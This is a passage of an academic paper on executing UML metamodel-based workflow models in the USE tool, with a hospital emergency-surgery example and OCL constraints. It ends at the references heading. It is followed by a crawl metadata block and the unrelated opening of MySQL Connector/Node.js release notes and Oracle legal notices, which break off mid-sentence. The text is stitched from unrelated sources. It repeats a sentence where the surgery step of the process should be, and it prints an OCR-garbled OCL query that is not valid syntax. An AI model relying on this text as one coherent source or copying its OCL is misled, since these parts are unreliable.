4</td> </tr> <tr> <td>6. MultiChoice</td> <td>Expressed with OrDecision like described in [6]</td> </tr> <tr> <td>7. Structured Synchronizing Merge</td> <td>Expressed with MergeOperator like pictured in Figure 4</td> </tr> <tr> <td>8. MultiMerge</td> <td>Expressed with MultiMerge – all included activities have to have so many iteration cycles as pred objects have been executed like pictured in Figure 5</td> </tr> <tr> <td>9. Structured Discriminator</td> <td>Expressed by Discriminator – after one pred object is executed the succ objects can start</td> </tr> <tr> <td>10. Arbitrary Cycles</td> <td>Activities linked arbitrarily with IterationGroups like pictured in Figure 6</td> </tr> <tr> <td>11. Implicit Termination</td> <td>Is directly supported – the process is done if all included activities are done, skipped or canceled</td> </tr> <tr> <td>12. Multiple Instances (MI) without Synchronization</td> <td>Expressed with MIWithoutSync – the attribute noOfInst indicates the number of instances at design time. At runtime the instances are linked by the association instance</td> </tr> <tr> <td>13. MI with a priori Design-Time Knowledge</td> <td>Expressed with MIWithSync and enriched with an invariant that ensures synchronization compared to WCP12</td> </tr> <tr> <td>14. MI with a priori Run-Time Knowledge</td> <td>Expressed with MIRuntime – the attribute noOfInst is determined at runtime by the workflow plugin</td> </tr> <tr> <td>15. MI without a priori Run-Time Knowledge</td> <td>Expressed with MIRuntimeWithAdd – has an addInstance() operation</td> </tr> <tr> <td>17. Interleaved Parallel Routing</td> <td>Expressed with InterleaveParallelRouting – like described in [6]</td> </tr> <tr> <td>18. Milestone</td> <td>Expressed by the exceeded association like pictured in Figure 7</td> </tr> <tr> <td>19. Cancel Task</td> <td>Expressed with Cancel – the cancel interface button is provided by the workflow plugin for those activities</td> </tr> <tr> <td>20. Cancel Case</td> <td>Expressed with CancelProcess – all waiting or running activities will be canceled if operation cancel() is invoked. The further execution of the process is not possible</td> </tr> </tbody> </table> Table 1. Workflow Pattern Analysis And defines that all \( \text{pred} \) objects have to be in the state \( \text{done} \) or skipped if one of the \( \text{succ} \) activities is allowed to be in the state \( \text{running} \). ![Figure 3: workflow model for WCP2 and WCP3](image) An OCL invariant for static design time properties is defined which ensures all objects connected with a \( \text{FlowOperator} \) to either be activities or groups. Thus \( \text{FlowOperator} \) cannot be connected to \( \text{FlowOperators} \) by the \( \text{seq} \) association. A similar static property is needed with the WCP8 in which all \( \text{pred} \) objects have to be activities or groups but not flow operators. The expression of that pattern in a workflow model is shown in Figure 5. Another invariant for static properties of the process models ensures that no \( \text{Sequence cycles} \) exist. Those could cause a deadlock during the execution of the workflow model. The invariants are also part of the metamodel. Examples can be found in [6]. In Figure 4 the \( \text{MergeOperator} \) is used in combination with the \( \text{XorDecision} \) activity (WCP4) in a certain structure [12]. It ensures that all \( \text{pred} \) activities are in state \( \text{done} \) or skipped before the \( \text{succ} \) activities, or groups of activities, can start. If the \( \text{pred} \) object is a group all included activities have to be \( \text{done} \) or skipped. Merges typically appear in such composite structures. This is essential in WCP7 and emphasized by its name: \( \text{Structured Synchronizing Merge} \). It requires to have a decision directly prior each \( \text{Merge} \). Decisions are expressed through decision activities that have to be finished before a merge is possible. The non-selected activities and groups are immediately skipped after the decision activity is \( \text{done} \) [6]. With this characteristic the \( \text{Merge} \) can express WCP5 and WCP7. ![Figure 4: Workflow model for WCP4 and WCP5](image) The WCP9 is expressed by \( \text{Discriminator} \). It uses a similar composite structure as the one in Figure 4, but the invariant is somewhat different to the one of \( \text{Merge} \). It allows \( \text{succ} \) activities connected to the \( \text{Discriminator} \) object to start after one \( \text{pred} \) object is finished. Figure 5 is showing the WCP8 which is expressed by the \( \text{MultiMerge} \) object. \( \text{MultiMerge} \) is a subclass of \( \text{IterationGroup} \) that allows iterative executions of the included activities one after another by calling the \( \text{nextIteration()} \) operation. To define the semantics of the WCP8, two OCL invariants are used. One says that the number of iterations is not allowed to exceed the number of executed \( \text{pred} \) activities or groups. The other invariant states that all \( \text{succ} \) activities are not allowed to be started before the number of iterations are equal to the number of executed \( \text{pred} \) objects. A group is classified as executed if at least one included activity is \( \text{done} \) and no other activity is \( \text{waiting} \), \( \text{running} \) or failed. As discussed before, an invariant assures the static property that only activities or groups are allowed to be connected as \( \text{pred} \) objects to the \( \text{MultiMerge} \) object. ![Figure 5: Workflow models for (a) WCP8 and (b) WCP9 and WCP12](image) In Figure 6(a) the WCP10 is expressed. New iteration cycles can be initiated by calling \( \text{nextIteration()} \) of \( \text{IterationGroup} \) at runtime. An OCL precondition states that all included activities are \( \text{skipped} \), \( \text{done} \) or \( \text{canceled} \). The included activities are reset to \( \text{waiting} \) and execution data of the previous iteration is stored through the association \( \text{archive} \). In this archive every iteration cycle is expressed as a group object that itself is connected to the executed activity instances with the assigned execution data as timestamps in the attributes \( \text{start} \) and \( \text{finish} \). ![Figure 6: Workflow models for (a) WCP10 and (b) WCP18](image) In Figure 6(b) WCP18 is expressed by using the \( \text{exceeded} \) association. This association may have side effects on linked activities or groups. If an activity with the role \( \text{until} \) starts, all activities with the role \( \text{before} \) that are not already \( \text{started} \) or \( \text{finished} \) will skip. These side effects are implemented in the ASSL start procedure that is used for the execution of the process models at runtime. If, in the example of Figure 6(b), the activity \( d \) is started while the activities of group \( i1 \) and the activity \( c \) are still \( \text{waiting} \) they are skipped. If the current iteration cycle of \( i1 \) is running that iteration can finish but no further iterations can be initiated. This integrity constraint is expressed in the pre condition of the \( \text{nextIteration()} \) operation in the class \( \text{IterationGroup} \). The \( \text{Deferred choice} \) pattern can also be realized using the \( \text{exceeded} \) association in contrast to the definition that is described in [6]. The activities that are related together with the WCP16 can be mutually linked together with \( \text{exceeded} \) links. If one activity starts all connected ones are skipped following the semantics of the exceeded association. Thus, the choice is implicitly made. B. Integration of Data in the Metamodel This subsection discusses the data aspect in the workflow metamodel. USE is a tool that is used for validating UML data models at an early design stage before they are realized in a database system during a system implementation [9]. Data model integration seems to be very promising, because an integrated workflow model can describe data in connection with the control flow properties and vice versa. Further on, these models can be executed in the workflow plugin so that the integrated models can be validated which will be subject of discussion in subsection IV B. The goal of the data model integration into the workflow metamodel is to specify which data is needed to be captured, edited or read by the user to accomplish its task. Figure 7 demonstrates two options for connecting activities to data objects. The first one is the association use that connects activities with objects that represent data queries or creation. Within the attribute classname of the class DataObject the classname of the queried objects or the object to be created should be specified. The subclasses DataRead and DataEdit store an OCL selection term, for inquiring data, in the attribute selection. These objects are interpreted by the workflow runtime plugin and they are translated in OCL queries. For example a DataRead object with the value 'C' in attribute classname and '>=10' for attribute selection is translated into the OCL query `CallInstances()-select(z>=10)`. [Diagram] Figure 7: Workflow metamodel with data integration and data model in a UML class diagram Additionally, there is the possibility to refer to the workflow model from the data model using the attributes creationActivity and editingActivities. These attributes, see class C in Figure 7, will be recognized by the workflow plugin and if an object is created during the workflow execution the attribute creationData will be set to the corresponding activity object. If the attribute is not modeled in the class of the created object the backward reference will not be set. In an analogous way the editing of data objects will be recognized by the runtime plugin. If an activity has inquired a data object and attributes have been edited by the user during the activity execution using the workflow plugin the reference to the activity is inserted into the editingActivities attribute of the data object. Having such back references enables the use of data integrity constraints. An example will be given in subsection III C. Another possibility to integrate data to workflow models is by using the DataflowObject and the flow association. In the data model an inheritance relationship expresses that objects of a special data class are used to be passed from one activity to another. Data and workflow modeling uses several different diagram types in this approach. Data modeling employs UML class diagrams while workflow modeling uses UML object diagrams to express the abstract syntax of the workflow language. Table II gives an overview on modeling concepts and their associated diagram types. <table> <thead> <tr> <th>Development time</th> <th>Workflow model with data aspects</th> <th>Data model</th> </tr> </thead> <tbody> <tr> <td>Metamodeling</td> <td>Class diagram pictured in Figure 1 and 7</td> <td>No metamodel needed (The UML metamodel implemented in USE is used)</td> </tr> <tr> <td>Design time</td> <td>Object diagram – a workflow model with faded out workflow-execution data</td> <td>Class diagram – DataflowObjects are integrated in the workflow metamodel with inheritance and specially named attributes links to the workflow model like pictured in Figure 7</td> </tr> <tr> <td>Runtime</td> <td>Object diagram – a workflow model with enriched workflow-execution data</td> <td>Object diagram – a snapshot of a system state of the data model is generated before or during workflow execution</td> </tr> </tbody> </table> C. Integration of Organisational Aspects into the Metamodel This subsection is about integration of organizational aspects into the workflow metamodel. In USE an organizational model can be integrated quite easily. Figure 8 shows the organizational metamodel with the integration of the activity class of the workflow metamodel. It expresses the allocation of the Role to the Activity at design time and the Person to Activity at runtime. In the ARIS method and toolset [18] and in several other models like [8] or [7] the organization aspect of an enterprise is modeled hierarchically. Using an organization tree, the root node represents the company as whole. Its subunits are modeled directly beneath it. This dividing into subunits stops at leaves level. Roles are exclusively assigned to organization unit. They can be interpreted as positions in the company [20]. A difference might be that a position is typically assigned to exactly one person. In the organizational metamodel of Figure 8 a person can take over several roles. An example will be given in section III. To achieve the hierarchical structure of the organizational model, the reflexive association contains in the metamodel is used similar to [8] and [7]. Mapping of roles to units are expressed by the association has. The correlation of persons to roles is expressed by the assign association. The assignment to activities is achieved by the abstract class BindingObject and the association allocation. Similar to the ARIS method [18] activities can be assigned to organizational units or rather departments with the association class alloc_Unit. The selection of the persons from the department is specified in the attribute allocType. Three types are given by the metamodel within the enumeration AllocationType. AnyPerson selects a idle person of that department to execute the task. AllRoles selects for every role assigned to the department a person at runtime to the activity execution. The last value allPersons would allocate all persons of the department to the task execution. An example will follow in subsection III C. Figure 8: Organizational metamodel with connection to the workflow metamodel III. MODELING WORKFLOWS, DATA AND ORGANISATIONAL ASPECTS In this section we demonstrate how the metamodel is used to model an actual workflow with respect to data and organizational aspects. Firstly the workflow is explained using natural language. Afterwards the metamodels introduced in section II will be applied to create the necessary models. In the last subsection a development process and a tool will be presented. A. The process in natural language A peri surgical emergency process should be modeled from the arrival in hospital until wake up of the patient. The process starts with the transportation of the patient. She can either be transported by helicopter or ambulance. For this initial part of the workflow the hospital staff is not responsible to decide what transport type should be taken. Therefore both transportation activities are modeled as a deferred choice relationship [1]. After the patient has arrived at the hospital, she has to be checked whether she has to be operated immediately or if there is time to prepare a normal surgery. This check is done by a doctor at the hospital. Depending on its decision, an immediate or a normal surgery. This check is done by a doctor at the hospital. Afterwards, the patient wakes up which has to be observed by the hospital staff. During this whole process the medication of the patient proceeds and has to be continuously documented. The control flow of the model is extensively pictured in [6]. The model of this paper integrates the data view. Patient data comprises of name (or id), age, disease and urgency of the case. It is determined and entered one after the another in several activities during the process execution. The patient data can be viewed as a dataflow that is handed over from one activity to another one. During transportation name and age of the patient should be determined. After reaching the hospital, an exact diagnosis takes place during the check of the patient. To help a doctor finding the correct diagnosis a list of diseases and respective symptoms could be presented by an information system. A number of data items is created during the emergency process. For example a nurse has to document if she gives medication to the patient. Kind and amount of medicine are important for the medication protocol. To avoid applying an overdose it can be helpful to present this protocol to her during the execution of the corresponding activity. B. Modeling workflow and data aspects of the workflow Initially, needed data has to be modeled in a UML class diagram. As shown in Table II UML class diagrams are used for data modeling at design time. During this step of the design process, a data model may be already validated with USE by creating snapshots as object diagrams and stating OCL queries (see [9]). The data model for the data aspect of the emergency process is shown in Figure 9. Class PatientData provides needed data within the attributes. It is a subclass of DataflowObject which in turn is a part of the workflow metamodel. Thus, PatientData may be used as a dataflow object within the workflow model. Figure 9: Data model for the emergency workflow model as UML class diagram Class Disease represents possible diseases with their associated symptoms, as stored in the hospital’s information system. PatientData has an attribute that links to the particular Disease which is identified during the initial diagnosis. Class MedicationDosage is used to protocol the medication during an emergency process. For every new medication a new object of the class should be instantiated. Attributes of such newly created object must be filled after the creationActivity has been finished. This can be expressed by an OCL invariant similar to the one presented in the following. Dataflow objects are connected via links of the association flow to activities that need the corresponding data object. The integrated model is pictured in Figure 10. EmergencyProcess is linked with an activity and a group of activities. AdjustMedication is independent to any other process fragments. Remaining activities are correlated to the process by calculating the transitive closure as described in subsection II A. After delivery is done, the patient is checked. This is expressed with the seq link between these objects. Depending on the decision made in CheckPatientCondition either the NormalSurgery or EmergencySurgery take place. PatientData is a central data flow object in the model. It is related to the delivery activities and CheckPatient. That activity has a DataRead object which inquires all diseases from the database of the information system to assist the doctor finding the correct diagnosis. This database is represented by data objects in the UML object diagram. The AdjustMedication activity is an Iteration that creates a new MedicationDosage object with an DataCreate object. Additionally, past MedicationDosage objects, created by the same activity, are inquired by the DataRead object. Past medications are presented to the user so that she can avoid medication overdoses. Figure 10: Workflow model with data integration as UML object diagram The following OCL invariant expresses a data integrity constraint in combination with workflow data. It states: If the transportation of the patient is done the name and age of the patient must be filled. context PatientData inv NameAndAgeIsFixAfterTransportation: self.activity->select(state=#done) ->includes(name="HelicopterDelivery" or name="AmbulanceDelivery") implies ( name.isDefined() and age.isDefined() ) C. Modeling the organisational parts Modeling the organizational aspect is the core of this subsection. The organizational chart of Figure 11(a) is showing the hierarchical decomposition of the hospital. It is divided into three subunits FacilityManagement, MedicineDepartment and Accounting. Two roles have been introduced and are assigned to the MedicineDepartment. Activities are either assigned to roles or to OrgUnits in Figure 11(b). They are assigned to Persons at runtime by (ASSL) allocation procedures. The person has to hold the role to accomplish the allocation. Roles and persons are parts of the hierarchical organizational model. In the model of Figure 11(b) the activities are assigned to corresponding roles. For example CheckPatientCondition is executed by a surgeon. AdjustMedication is assigned to MedicineDepartment. The allocation strategy is indicated by the anyPerson object assigned to that link. Thus, any person of that department can execute that task. Regarding the layout of the models, it is obvious that integrated workflow models are hard to read, because of the number of objects and links that might inevitably tend to overlap. This is not solely a problem of workflow models in USE though its abstract syntax might amplify the effect. But USE offers support by providing a filter mechanism for displaying the desired aspects of a model [9]. Thus, the designer can inquire relevant model elements exclusively for the control flow, organizational or data aspects of the workflow model. Figure 11: (a) Hierarchical organizational chart (b) Allocation to activities D. Development and Validation Process and Tool Chain In Figure 12 the development and validation process is pictured. Figure 12: Process and tool chain of model development The diagrams used in USE and the plugins are listed and related to the activities within the development process. On the left hand side of Figure 12 an activity diagram is pictured. For every activity, a diagram, plugin or tool is linked within the tool chain. The arrows sequencing the activities and tools represent object flows that are outputs of the previous activity or tool and input for the next activity or tool in the chain. The figure illustrates the order in which the diagrams and plugins are applied in USE. IV. EXECUTING AND ANALYZING WORKFLOWS In this section the workflow runtime plugin is presented which provides an environment for workflow instantiation and execution. The plugin presents the workflow instance in an appropriate way to the user so that she can interact with activities work items and related data in an appropriate way. Validation of dynamic control flow properties and related data integration are conducted here. Furthermore, organizational resource aspects can be tested and process mining can be done on the executed processes. A. Preparation of the Workflow Execution Before the workflow is executed in the workflow plugin, the snapshot of the data model should be prepared in the USE object diagram. In the example workflow of this paper the diseases that should be stored in the hospital information system are created before the process simulation starts. The process for the workflow instantiation is as follows: The runtime plugin gets the models from the design time plugin as an ASSL file as presented in the tool chain of Figure 12. The user only needs to load the desired ASSL runtime file with the included process instantiation procedures. Afterwards the possible instantiation procedures are listed and the user has to select one, which is consequently instantiated. As a result the process instance appears in the workflow plugin for execution. B. Testing dynamical control flow and data aspects with the workflow plugin As described in subsection III B the workflow plugin is used to visualize the execution of the workflow models. In the scenario of Figure 13 the process model of Figure 10 is interpreted. The activity CheckPatientCondition is started and correlated data is presented to the user within the workflow plugin. The USE class extent view is started on top. It lists all the queried data objects and their attribute values. With the getDiseases:DataRead object in the workflow model of Figure 10 all the stored diseases are queried. Three were found and are listed in that data window. The connected DataFlow object PatientData1 was interpreted and is shown within the USE Object properties view. The activity HelicopterDelivery has already been executed as can be seen by the black colored dot. This represents that activity to be in the state done. Activities get particular colors assigned depending on their execution states. Activity states can be changed by the user by clicking on the activity buttons shown on the bottom of the workflow runtime plugin windows. Values for name and age have already been entered during the execution of the AbulanceDelivery activity, as was assured by the data integrity constraint presented in subsection III B. The attribute disease is set to the corresponding Disease2 object. Moreover, the urgency attribute is entered. Figure 13: USE workflow runtime plugin with a normal view and the corresponding data presentation and a worklist view The CheckPatientCondition activity is a decision activity. The criterion has to be selected together with the corresponding guard. This is done by the user during the execution of the decision activity within the window shown beneath the USE Object properties view in Figure 13. Decision modeling is similar to EPCs, where there is the rule that only activities have the competence to make decisions [11, 5]. UML activity diagrams or YAWL handle decision modeling slightly different. In these languages the choice operators are data driven and automatically executed by the (workflow) system. The organizational aspects are also tested during the workflow execution. The ASSL allocation procedure which is derived from the design time allocation model of Figure 10(b) tries to find an idle person for execution the activity. If someone is found, then the person is assigned to the activity by the allocation link. If none is found the procedure stops with no result. An invariant states that no person can execute two activities in parallel. This should apply for most situations in real life. Nevertheless, the metamodel could be extended to allow activities that can be executed by one person in parallel with certain other activities. This is not considered in the current metamodel. C. Adaptations during runtime During the execution of the workflow, model elements can be adaptively changed in the workflow instance. Adaptation Patterns [19] are supported on the process instance level. Changes cannot take effect from the instance level back to the process model or “type level” (see [19]). The user can conduct adaptive changes in the object diagram view of USE. That is already known from the design time shown in Figure 10. Activities, data, or organizational aspects can be added, deleted or changed by manipulating the workflow execution data or objects of the data or organizational model. But the adaptive changes of the workflow instance by deletions and state modifications of activities generate some problems. Certain changes are not reasonable but still allowed by the tool, for example if historical data is deleted in the workflow instance. Furthermore, an activity state change could be conducted although it is not allowed by the life cycle specification of Figure 2. In general Activity objects must not be deleted or changed within the object diagram in USE. If an activity should not be executed during the process execution it shall be skipped instead of deleting it in the object diagram. In contrast, adding activities should not cause any problems during the process execution. Restricting the process execution by adding execution constraints can cause problems, too. But they are recognized by the USE tool as constraint violations. OCL invariants are permanently checked by USE so that constraint violations are instantly displayed by the OCL invariant view [9]. Anyway, the workflow runtime plugin will recognize any changes in the object diagram and it will instantly update its view on the workflow instance model. To improve the recognition of unreasonable changes that are not already recognized, some pre- and postconditions can be assigned to another operation adaptiveChange() added to the class Process of the metamodel of Figure 1. Before applying adaptive changes, the operation must be entered in USE [9], then the process instance is modified and afterwards the operation is exited. With OCL the workflow instance state before the adaptive change can be compared with the state after the change so that unreasonable changes can be identified. Furthermore, an adapted USE object diagram could be implemented as another plugin for USE to provide a user interface that only allows valid adaptive changes. D. Execution Properties and Process Mining with OCL During or after the execution of a workflow, its instance data can be evaluated. There are several ways to analyze this data. First of all, the workflow plugin itself is logging the instructions taken from the user. It builds a list in which the call events like start, finish, skip, cancel and fail are assigned with timestamps and the activity. Operation calls are logged by an UML sequence diagram. Here side effects of Activity operation calls can be easily detected. Changing state of an activity can have side effects on other activities that are related with certain temporal or rather causal relations. A sequence diagram of a process scenario captured in the USE tool can be seen in [6]. The object diagram in USE is showing the workflow instance at runtime in which the execution data is captured. This can also be used for inspection but the data is not presented in an easily readable way. It seems to be more promising to use process mining with OCL queries to get certain properties of a workflow execution. An example OCL term is given in the following. This query lists the activities ordered by elapsed execution time each activity has needed. Any number of further queries can be stated and evaluated in the OCL evaluation window [9]. \[ \text{EmergencyProcess.getActivities()}.\text{-\text{\texttt{iterate(a.Activity;}}} \text{acc=Set(Tuple[n.name, t.integer])=Set[]}} \text{acc=including(Tuple[n.a.name, t.a.finish - a.start])}} \text{select(t.isDefined())=sortedBy(t)} \] V. RELATED WORK The ARIS method and toolset is widely used in industry to model business processes with organizational and data aspects [18]. It is a proprietary solution that uses the Event-driven Process Chains (EPCs) and BPMN as workflow languages. The ARIS toolset provides a translation into executable BPEL code which is much more complicated and heavy-weighted compared to the approach presented in this paper. The Bflow toolbox provides a workflow modeling environment with EPCs. Static aspects of workflow models are instantly checked at design time similar to the static analysis of process models within our approach (see [6]). Bflow also uses a metamodel with EMF and GMF in combination with Eclipse [10]. The models cannot be executed so that dynamic aspects cannot be validated. Task tree models that represent hierarchy oriented workflow models can be tested and executed within the modeling environment CTTE [13]. This is similar to the method presented here. But CTTE provides less integration of data and organizational aspects and does not allow workflow models to be adaptively changed at runtime. Declare is a tool for declarative workflow modeling on basis of LTL formulas [2]. The models are executable and the organizational with role-person assignments and data aspects of the workflows are rudimentary captured. The declarative background is similar to the one presented in this paper. Metamodels are widely used for modeling the interrelations of the workflow models with other diagrams like organizational, data or goal diagrams. Scheer has used metamodels to formally introduce ARIS [18]. Zur Mühlen has evaluated workflow management systems with metamodels [14]. Organizational aspects of workflows are formally modeled in combination with metamodels and OCL in [3] but these models are neither executable nor tested by a UML tool. In the context of organizational modeling workflow resource patterns are identified in [16]. An analysis together with our approach goes beyond the scope of this paper. Data integration in workflow diagrams is widely done with object flows. Ambiguities of interpreting object flows in UML activity diagrams and BPMN are identified in [4]. These problems are avoided in the approach presented here. by having an integrated process and data model within the USE object diagram. The integration of the data views into the workflow models is identified with the workflow data patterns [17]. VI. SUMMARY AND CONCLUSION In this paper a UML metamodel based approach for workflow modeling is presented. This technique is powerful which is demonstrated by checking it against the workflow patterns. The original 20 workflow patterns can be expressed and some of them can be expressed easier than in popular languages like BPMN or EPCs like for example the Interleave Parallel Routing Pattern [6]. Data and organizational aspects can be modeled. An abstract syntax is provided with the UML tool USE for workflow-, data- and organizational modeling. The workflow models can be captured by the developed workflow design time plugin for USE. The model is persistently stored in ASSL-files for later reuse at runtime. We developed also a workflow runtime plugin which was presented in this paper. It uses the tool realizing parts of the UML action semantics for executing the workflow model based on the ASSL language [9]. The required data objects are presented to the user during the workflow execution. Mutual dependencies can be specified between data and the control flow specification. Such constraints are observed by USE and missing data entries are identified during workflow execution. The user is directed to the corresponding objects that violate the OCL invariants. The workflow instances can be analyzed and adaptively changed at runtime. The same applies to the snapshots of the organizational and data model. Time aspects are captured by the workflow plugin and are stored during workflow execution. Thereafter, this data can be analyzed in a log window of the workflow plugin, by a UML sequence diagram or by OCL mining queries. So, important properties of the executed process instances can be discovered. REFERENCES
{"Source-Url": "http://www.researchgate.net/profile/Martin_Gogolla/publication/221142535_UML_Metamodel-based_Workflow_Modeling_and_Execution/links/00b49539f40959d7d9000000.pdf", "len_cl100k_base": 9012, "olmocr-version": "0.1.50", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 32529, "total-output-tokens": 10751, "length": "2e13", "weborganizer": {"__label__adult": 0.00029206275939941406, "__label__art_design": 0.0004627704620361328, "__label__crime_law": 0.0003139972686767578, "__label__education_jobs": 0.0011157989501953125, "__label__entertainment": 6.371736526489258e-05, "__label__fashion_beauty": 0.00013947486877441406, "__label__finance_business": 0.0004558563232421875, "__label__food_dining": 0.00027751922607421875, "__label__games": 0.0004892349243164062, "__label__hardware": 0.0006265640258789062, "__label__health": 0.0004916191101074219, "__label__history": 0.00023674964904785156, "__label__home_hobbies": 7.015466690063477e-05, "__label__industrial": 0.0004892349243164062, "__label__literature": 0.00025272369384765625, "__label__politics": 0.00020313262939453125, "__label__religion": 0.00034880638122558594, "__label__science_tech": 0.042144775390625, "__label__social_life": 7.367134094238281e-05, "__label__software": 0.0134429931640625, "__label__software_dev": 0.93701171875, "__label__sports_fitness": 0.0002428293228149414, "__label__transportation": 0.0004496574401855469, "__label__travel": 0.00016677379608154297}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48062, 0.01574]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48062, 0.49433]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48062, 0.92066]], "google_gemma-3-12b-it_contains_pii": [[0, 4815, false], [4815, 8096, null], [8096, 12072, null], [12072, 17531, null], [17531, 22686, null], [22686, 27925, null], [27925, 31036, null], [31036, 35786, null], [35786, 42070, null], [42070, 48062, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4815, true], [4815, 8096, null], [8096, 12072, null], [12072, 17531, null], [17531, 22686, null], [22686, 27925, null], [27925, 31036, null], [31036, 35786, null], [35786, 42070, null], [42070, 48062, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48062, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48062, null]], "pdf_page_numbers": [[0, 4815, 1], [4815, 8096, 2], [8096, 12072, 3], [12072, 17531, 4], [17531, 22686, 5], [22686, 27925, 6], [27925, 31036, 7], [31036, 35786, 8], [35786, 42070, 9], [42070, 48062, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48062, 0.15882]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
ac82eaceeac25e4423c7599d8ac2ef2f1e35295d
MySQL Connector/Node.js Release Notes Abstract This document contains release notes for the changes in each release of MySQL Connector/Node.js. For additional Connector/Node.js documentation, see http://dev.mysql.com/. Updates to these notes occur as new product features are added, so that everybody can follow the development process. If a recent version is listed here that you cannot find on the download page (https://dev.mysql.com/ downloads/), the version has not yet been released. The documentation included in source and binary distributions may not be fully up to date with respect to release note entries because integration of the documentation occurs at release build time. For the most up-to-date release notes, please refer to the online documentation instead. For legal information, see the Legal Notices. For help with using MySQL, please visit the MySQL Forums, where you can discuss your issues with other MySQL users. Document generated on: 2021-09-01 (revision: 23257) Table of Contents Preface and Legal Notices ................................................................. 1 Changes in MySQL Connector/Node.js 8.0 ............................................. 3 Changes in MySQL Connector/Node.js 8.0.26 (2021-07-20, General Availability) .......... 3 Changes in MySQL Connector/Node.js 8.0.25 (2021-05-11, General Availability) .......... 4 Changes in MySQL Connector/Node.js 8.0.24 (2021-04-20, General Availability) .......... 4 Changes in MySQL Connector/Node.js 8.0.23 (2021-01-18, General Availability) .......... 5 Changes in MySQL Connector/Node.js 8.0.22 (2020-10-19, General Availability) .......... 5 Changes in MySQL Connector/Node.js 8.0.21 (2020-07-13, General Availability) .......... 6 Changes in MySQL Connector/Node.js 8.0.20 (2020-04-27, General Availability) .......... 7 Changes in MySQL Connector/Node.js 8.0.19 (2020-01-13, General Availability) .......... 7 Changes in MySQL Connector/Node.js 8.0.18 (2019-10-14, General Availability) .......... 8 Changes in MySQL Connector/Node.js 8.0.17 (2019-07-22, General Availability) .......... 8 Changes in MySQL Connector/Node.js 8.0.16 (2019-04-25, General Availability) .......... 9 Changes in MySQL Connector/Node.js 8.0.15 (2019-02-01, General Availability) .......... 10 Changes in MySQL Connector/Node.js 8.0.14 (2019-01-21, General Availability) .......... 11 Changes in MySQL Connector/Node.js 8.0.13 (2018-10-22, General Availability) .......... 11 Changes in MySQL Connector/Node.js 8.0.12 (2018-07-27, General Availability) .......... 13 Changes in MySQL Connector/Node.js 8.0.11 (2018-04-19, General Availability) .......... 14 Changes in MySQL Connector/Node.js 8.0.10 (Skipped version number) .................... 14 Changes in MySQL Connector/Node.js 8.0.9 (2018-01-30, Release Candidate) ............. 15 Changes in MySQL Connector/Node.js 8.0.8 (2017-09-28, Development Milestone) ...... 15 Changes in MySQL Connector/Node.js 8.0.7 (2017-07-10, Development Milestone) ...... 16 Changes in MySQL Connector/Node.js 1.0 ........................................... 17 Changes in MySQL Connector/Node.js 1.0.6 (2017-03-07, Development Milestone) ........ 17 Changes in MySQL Connector/Node.js 1.0.5 (2016-11-14, Development Milestone) ........ 18 Changes in MySQL Connector/Node.js 1.0.4 (2016-10-10, Development Milestone) ........ 18 Changes in MySQL Connector/Node.js 1.0.3 (2016-06-21, Development Milestone) ........ 18 Changes in MySQL Connector/Node.js 1.0.2 (2016-04-11, Development Milestone) ........ 18 Changes in MySQL Connector/Node.js 1.0.1 (Not released, Internal) .................... 19 Changes in MySQL Connector/Node.js 1.0.0 (Not released, Internal) .................... 19 Preface and Legal Notices This document contains release notes for the changes in each release of MySQL Connector/Node.js. Legal Notices Copyright © 1997, 2021, Oracle and/or its affiliates. This software and related documentation are provided under a license agreement containing restrictions on use and disclosure and are protected by intellectual property laws. Except as expressly permitted in your license agreement or allowed by law, you may not use, copy, reproduce, translate, broadcast, modify, license, transmit, distribute, exhibit, perform, publish, or display any part, in any form, or by any means. Reverse engineering, disassembly, or decompilation of this software, unless required by law for interoperability, is prohibited. The information contained herein is subject to change without notice and is not warranted to be error-free. If you find any errors, please report them to us in writing. If this is software or related documentation that is delivered to the U.S. Government or anyone licensing it on behalf of the U.S. Government, then the following notice is applicable: U.S. GOVERNMENT END USERS: Oracle programs (including any operating system, integrated software, any programs embedded, installed or activated on delivered hardware, and modifications of such programs) and Oracle computer documentation or other Oracle data delivered to or accessed by U.S. Government end users are "commercial computer software" or "commercial computer software documentation" pursuant to the applicable Federal Acquisition Regulation and agency-specific supplemental regulations. As such, the use, reproduction, duplication, release, display, disclosure, modification, preparation of derivative works, and/or adaptation of i) Oracle programs (including any operating system, integrated software, any programs embedded, installed or activated on delivered hardware, and modifications of such programs), ii) Oracle computer documentation and/or iii) other Oracle data, is subject to the rights and limitations specified in the license contained in the applicable contract. The terms governing the U.S. Government's use of Oracle cloud services are defined by the applicable contract for such services. No other rights are granted to the U.S. Government. This software or hardware is developed for general use in a variety of information management applications. It is not developed or intended for use in any inherently dangerous applications, including applications that may create a risk of personal injury. If you use this software or hardware in dangerous applications, then you shall be responsible to take all appropriate fail-safe, backup, redundancy, and other measures to ensure its safe use. Oracle Corporation and its affiliates disclaim any liability for any damages caused by use of this software or hardware in dangerous applications. Oracle and Java are registered trademarks of Oracle and/or its affiliates. Other names may be trademarks of their respective owners. Intel and Intel Inside are trademarks or registered trademarks of Intel Corporation. All SPARC trademarks are used under license and are trademarks or registered trademarks of SPARC International, Inc. AMD, Epyc, and the AMD 